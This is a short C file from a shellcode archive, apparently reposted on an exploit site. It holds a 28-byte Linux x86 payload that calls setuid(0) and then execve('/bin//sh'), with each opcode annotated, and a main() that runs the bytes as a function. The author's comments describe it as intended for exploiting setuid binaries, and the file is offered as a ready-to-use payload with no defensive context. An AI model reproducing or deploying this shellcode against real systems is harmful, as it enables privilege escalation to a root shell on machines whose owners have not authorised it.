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linux/x86 setuid(0) + execve(/bin/sh) 28 bytes
[==============================================
linux/x86 setuid(0) + execve(/bin/sh) 28 bytes
==============================================
/*
* revenge-setuid.c, v1.0 2006/09/30 14:57
*
* linux/x86 setuid(0) + execve("/bin//sh", ["/bin//sh"], NULL) shellcode
* once again...
*
* [ setuid (6 bytes) + execve (22 bytes) = 28 bytes ]
* [ ]
* [ Same as revenge-execve.c we start the 2 system ]
* [ calls with a mov resulting in 2 bytes less, but ]
* [ this one is only for suid binary exploitation. ]
* [ ]
*
* http://www.0xcafebabe.it
* <revenge@0xcafebabe.it>
*
*/
char sc[] =
// <_start>
"\xb0\x17" // mov $0x17,%al
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x0b" // mov $0xb,%al
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
;
int main()
{
void (*fp)(void) = (void (*)(void))sc;
printf("Length: %d\n",strlen(sc));
fp();
}
# 0day.today [2024-12-25] #